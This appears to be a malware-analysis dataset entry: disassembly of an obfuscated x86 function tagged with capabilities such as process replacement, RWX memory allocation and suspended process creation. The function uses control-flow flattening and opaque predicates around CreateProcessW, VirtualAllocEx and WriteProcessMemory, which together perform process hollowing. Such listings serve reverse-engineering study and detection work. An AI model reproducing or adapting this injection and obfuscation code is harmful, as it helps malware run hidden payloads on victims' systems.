Function at 0x100069f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x124
mov eax, dword [0x1006c800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0x6c28f181
sub edx, 1
add edx, 0x6c28f181
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x126], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x125], al
mov dword [ebp - 0x12c], 0xae50d9fb
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x130], eax
sub eax, 0x804dad38
je 0x1000e2cf
jmp 0x10006a6b
mov eax, dword [ebp - 0x130]
sub eax, 0x8109e628
je 0x1000e0a7
jmp 0x10006a81
mov eax, dword [ebp - 0x130]
sub eax, 0x813a5525
je 0x1000e716
jmp 0x10006a97
mov eax, dword [ebp - 0x130]
sub eax, 0x8186d4ab
je 0x1000e7ae
jmp 0x10006aad
mov eax, dword [ebp - 0x130]
sub eax, 0x81a23ce5
je 0x1000b900
jmp 0x10006ac3
mov eax, dword [ebp - 0x130]
sub eax, 0x820ec63e
je 0x1000ab40
jmp 0x10006ad9
mov eax, dword [ebp - 0x130]
sub eax, 0x829ead45
je 0x1000bb16
jmp 0x10006aef
mov eax, dword [ebp - 0x130]
sub eax, 0x838f8ea6
je 0x1000c037
jmp 0x10006b05
mov eax, dword [ebp - 0x130]
sub eax, 0x83d54d88
je 0x1000b6d5
jmp 0x10006b1b
mov eax, dword [ebp - 0x130]
sub eax, 0x8526cc5c
je 0x1000d69b
jmp 0x10006b31
mov eax, dword [ebp - 0x130]
sub eax, 0x867196e1
je 0x1000ae97
jmp 0x10006b47
mov eax, dword [ebp - 0x130]
sub eax, 0x879449b1
je 0x1000ad9d
jmp 0x10006b5d
mov eax, dword [ebp - 0x130]
sub eax, 0x87a1daa7
je 0x1000c9e7
jmp 0x10006b73
mov eax, dword [ebp - 0x130]
sub eax, 0x87cae85b
je 0x1000a880
jmp 0x10006b89
mov eax, dword [ebp - 0x130]
sub eax, 0x87f86a4b
je 0x1000a01c
jmp 0x10006b9f
mov eax, dword [ebp - 0x130]
sub eax, 0x89479942
je 0x1000aa97
jmp 0x10006bb5
mov eax, dword [ebp - 0x130]
sub eax, 0x8a1b2c39
je 0x10009788
jmp 0x10006bcb
mov eax, dword [ebp - 0x130]
sub eax, 0x8a33f598
je 0x1000b1c6
jmp 0x10006be1
mov eax, dword [ebp - 0x130]
sub eax, 0x8a723695
je 0x1000cefb
jmp 0x10006bf7
mov eax, dword [ebp - 0x130]
sub eax, 0x8adbc66d
je 0x1000ba22
jmp 0x10006c0d
mov eax, dword [ebp - 0x130]
sub eax, 0x8afeb910
je 0x1000c0a9
jmp 0x10006c23
mov eax, dword [ebp - 0x130]
sub eax, 0x8b610a26
je 0x100098cf
jmp 0x10006c39
mov eax, dword [ebp - 0x130]
sub eax, 0x8bbc55fd
je 0x1000f418
jmp 0x10006c4f
mov eax, dword [ebp - 0x130]
sub eax, 0x8bc4994f
je 0x1000e198
jmp 0x10006c65
mov eax, dword [ebp - 0x130]
sub eax, 0x8cdd490e
je 0x1000ba81
jmp 0x10006c7b
mov eax, dword [ebp - 0x130]
sub eax, 0x8d7b5585
je 0x1000cfbd
jmp 0x10006c91
mov eax, dword [ebp - 0x130]
sub eax, 0x8d88e996
je 0x10009d7c
jmp 0x10006ca7
mov eax, dword [ebp - 0x130]
sub eax, 0x8eb3c130
je 0x1000976b
jmp 0x10006cbd
mov eax, dword [ebp - 0x130]
sub eax, 0x8f690050
je 0x1000e189
jmp 0x10006cd3
mov eax, dword [ebp - 0x130]
sub eax, 0x8fc2ef6e
je 0x1000d43a
jmp 0x10006ce9
mov eax, dword [ebp - 0x130]
sub eax, 0x91a3e86e
je 0x1000c09a
jmp 0x10006cff
mov eax, dword [ebp - 0x130]
sub eax, 0x9211b650
je 0x1000a934
jmp 0x10006d15
mov eax, dword [ebp - 0x130]
sub eax, 0x92212591
je 0x1000b331
jmp 0x10006d2b
mov eax, dword [ebp - 0x130]
sub eax, 0x923cee99
je 0x100098c0
jmp 0x10006d41
mov eax, dword [ebp - 0x130]
sub eax, 0x92ec041d
je 0x1000a820
jmp 0x10006d57
mov eax, dword [ebp - 0x130]
sub eax, 0x93927788
je 0x1000a295
jmp 0x10006d6d
mov eax, dword [ebp - 0x130]
sub eax, 0x9555cb1b
je 0x1000a908
jmp 0x10006d83
mov eax, dword [ebp - 0x130]
sub eax, 0x95bbb27f
je 0x1000e450
jmp 0x10006d99
mov eax, dword [ebp - 0x130]
sub eax, 0x95cf9784
je 0x1000b3c8
jmp 0x10006daf
mov eax, dword [ebp - 0x130]
sub eax, 0x969e442f
je 0x1000a34c
jmp 0x10006dc5
mov eax, dword [ebp - 0x130]
sub eax, 0x97b18a0d
je 0x1000932c
jmp 0x10006ddb
mov eax, dword [ebp - 0x130]
sub eax, 0x97c93834
je 0x1000ee52
jmp 0x10006df1
mov eax, dword [ebp - 0x130]
sub eax, 0x97cf9f53
je 0x1000c1cd
jmp 0x10006e07
mov eax, dword [ebp - 0x130]
sub eax, 0x97f58a62
je 0x10009e88
jmp 0x10006e1d
mov eax, dword [ebp - 0x130]
sub eax, 0x9ab0f19a
je 0x1000f1ea
jmp 0x10006e33
mov eax, dword [ebp - 0x130]
sub eax, 0x9ad4736b
je 0x100090b0
jmp 0x10006e49
mov eax, dword [ebp - 0x130]
sub eax, 0x9b3e1b70
je 0x10009a74
jmp 0x10006e5f
mov eax, dword [ebp - 0x130]
sub eax, 0x9c3bc665
je 0x1000a53a
jmp 0x10006e75
mov eax, dword [ebp - 0x130]
sub eax, 0x9c9c2dac
je 0x1000bc89
jmp 0x10006e8b
mov eax, dword [ebp - 0x130]
sub eax, 0x9cb47d44
je 0x1000c1be
jmp 0x10006ea1
mov eax, dword [ebp - 0x130]
sub eax, 0x9ce29df4
je 0x1000941f
jmp 0x10006eb7
mov eax, dword [ebp - 0x130]
sub eax, 0x9cf479dc
je 0x1000b638
jmp 0x10006ecd
mov eax, dword [ebp - 0x130]
sub eax, 0x9d0a3be7
je 0x1000b0c5
jmp 0x10006ee3
mov eax, dword [ebp - 0x130]
sub eax, 0x9d384b54
je 0x1000bb46
jmp 0x10006ef9
mov eax, dword [ebp - 0x130]
sub eax, 0x9e1ca3fc
je 0x1000acf1
jmp 0x10006f0f
mov eax, dword [ebp - 0x130]
sub eax, 0x9f7facb1
je 0x1000ede0
jmp 0x10006f25
mov eax, dword [ebp - 0x130]
sub eax, 0x9feab28d
je 0x1000b3b9
jmp 0x10006f3b
mov eax, dword [ebp - 0x130]
sub eax, 0xa01d1165
je 0x1000ed1d
jmp 0x10006f51
mov eax, dword [ebp - 0x130]
sub eax, 0xa1596cc4
je 0x1000c1dc
jmp 0x10006f67
mov eax, dword [ebp - 0x130]
sub eax, 0xa1ec101c
je 0x1000efd5
jmp 0x10006f7d
mov eax, dword [ebp - 0x130]
sub eax, 0xa262044b
je 0x1000ad3e
jmp 0x10006f93
mov eax, dword [ebp - 0x130]
sub eax, 0xa3850ae3
je 0x1000e665
jmp 0x10006fa9
mov eax, dword [ebp - 0x130]
sub eax, 0xa4b2d60b
je 0x1000d57a
jmp 0x10006fbf
mov eax, dword [ebp - 0x130]
sub eax, 0xa58d15fe
je 0x1000b107
jmp 0x10006fd5
mov eax, dword [ebp - 0x130]
sub eax, 0xa5bb839b
je 0x100093bc
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x12c], 0xf9ac5ea1
jmp 0x1000f651
mov dword [ebp - 0x12c], 0xbf0f19b8
jmp 0x1000f651
mov dword [ebp - 0x12c], 0x65da27f6
jmp 0x1000f651
mov dl, 1
mov eax, 0x1ad3504d
mov ecx, 0x8a1b2c39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x1001c388]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xe32ef44
jmp 0x1000f651
mov dword [ebp - 0x12c], 0x8b610a26
jmp 0x1000f651
mov dl, 1
mov eax, 0x6d1d0b57
mov ecx, 0x7dfe6f5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0xe1ea72b7
sub edx, 1
sub edx, 0xe1ea72b7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa01d1165
mov ecx, 0x78ec4219
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x790b458e
mov ecx, 0x3864f72a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5beb595d
mov ecx, 0xfaa95fa3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001c1f4]
movss dword [eax], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0x3bb9496b
sub edx, 1
add edx, 0x3bb9496b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x79850a0a
mov ecx, 0x4f59a79d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
add edx, 0x866c0aa
sub edx, 1
sub edx, 0x866c0aa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f7facb1
mov ecx, 0xd61ae75b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001c1f0]
movss dword [eax], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xca6cf2f8
mov ecx, 0xe3c56c7f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x370a6887
sub edx, 1
add edx, 0x370a6887
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x102ab73e
mov ecx, 0x75d0a7be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov dword [ebp - 0x12c], 0xd4fd998b
jmp 0x1000f651
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001c1e4]
movss dword [eax], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x8990f542
sub edx, 1
sub edx, 0x8990f542
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1ee86ad3
mov ecx, 0x9555cb1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov dword [ebp - 0x12c], 0x1bef29d3
jmp 0x1000f651
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001c330]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x38f8908d
jmp 0x1000f651
mov dword [ebp - 0x12c], 0xabc6dee5
jmp 0x1000f651
mov dword [ebp - 0x12c], 0xdd454a8d
jmp 0x1000f651
mov dword [ebp - 0x12c], 0x521a661f
jmp 0x1000f651
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c30c]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xfe3c144
jmp 0x1000f651
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c304]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c300]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xed3a8d1f
jmp 0x1000f651
mov dword [ebp - 0x12c], 0xef11eb6c
jmp 0x1000f651
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c2f8]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x76a3aef4
jmp 0x1000f651
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
add edx, 0x4504bfc9
sub edx, 1
sub edx, 0x4504bfc9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb0ad659
mov ecx, 0xe2ed1090
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov dl, 1
mov eax, 0x95cf9784
mov ecx, 0x786b1d23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c1cc]
movss dword [eax], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x2a74d71b
sub edx, 1
sub edx, 0x2a74d71b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4a8ddac3
mov ecx, 0x9feab28d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov dword [ebp - 0x12c], 0x95cf9784
jmp 0x1000f651
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001c2f0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001c2ec]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xd76dc70c
jmp 0x1000f651
mov dl, 1
mov eax, 0x926c9e0
mov ecx, 0x4f7f6213
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001c2d4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001c2d0]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x3e2feaec
jmp 0x1000f651
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa1ec101c
mov ecx, 0xc94b4503
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov dl, 1
mov eax, 0x8cdd490e
mov ecx, 0x2980eb59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001c2b8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001c2b4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001c2b0]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x2d8d1fab
jmp 0x1000f651
mov dword [ebp - 0x12c], 0xb629a0a4
jmp 0x1000f651
mov dl, 1
mov eax, 0x9c9c2dac
mov ecx, 0xfb7d9cc8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x127f79dd
sub edx, 1
add edx, 0x127f79dd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x37b558b1
mov ecx, 0x796e6f10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001c1b4]
movss dword [eax], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
add edx, 0x96b54dcf
sub edx, 1
sub edx, 0x96b54dcf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe19970d0
mov ecx, 0x91a3e86e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov dword [ebp - 0x12c], 0x8afeb910
jmp 0x1000f651
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001c290]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xe8fc6961
jmp 0x1000f651
mov dword [ebp - 0x12c], 0x97cf9f53
jmp 0x1000f651
mov dword [ebp - 0x12c], 0xa1596cc4
jmp 0x1000f651
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0xe398a2bd
sub edx, 1
add edx, 0xe398a2bd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbf1afebd
mov ecx, 0xac029cce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001c248]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x3ef63684
jmp 0x1000f651
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001c228]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xf0492a3f
jmp 0x1000f651
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xab9ae2f4
mov ecx, 0xc10b3087
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov edx, dword [ebp - 0xa4]
mov eax, 0x5244302b
mov ecx, 0x19aac2d4
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100063f0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0x60c03418
sub edx, 1
add edx, 0x60c03418
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcf0e7cf1
mov ecx, 0x76fbab80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xf4]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0x91], al
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x26064d2e
sub edx, 1
sub edx, 0x26064d2e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x11ec796
mov ecx, 0x36d6077c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov dword [ebp - 0x12c], 0x7185ed3e
jmp 0x1000f651
mov dword [ebp - 0x12c], 0x8bc4994f
jmp 0x1000f651
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x49], al
mov dword [ebp - 0x12c], 0xfe45a88b
jmp 0x1000f651
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
add ecx, 0x1b8e4365
sub ecx, eax
sub ecx, 0x1b8e4365
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov dword [eax], 0
mov dword [ebp - 0x12c], 0x72e3529e
jmp 0x1000f651
mov eax, dword [ebp - 0x3c]
movzx eax, word [eax]
mov ecx, 0xffffffff
xor ecx, 0xf000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x2d89de02
mov ecx, 0x2c33212c
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x2c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x12c], 0x7e184fd2
jmp 0x1000f651
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
add edx, 0x6398e3f0
sub edx, 1
sub edx, 0x6398e3f0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b71e24e
mov ecx, 0x185f67ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x70d93e56
mov ecx, 0x29cf2e48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000f651
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001c204]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001c200]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x78ec4219
jmp 0x1000f651
mov dword [ebp - 0x12c], 0x93927788
jmp 0x1000f651
mov dword [ebp - 0x12c], 0x4b4fc0ab
jmp 0x1000f651
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001c1c0]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xc94b4503
jmp 0x1000f651
mov eax, dword [ebp - 0xe8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xf0]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x12c], 0xbf1e865d
jmp 0x1000f651
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x12c], 0x163f679a
jmp 0x1000f651
jmp 0x10006a4f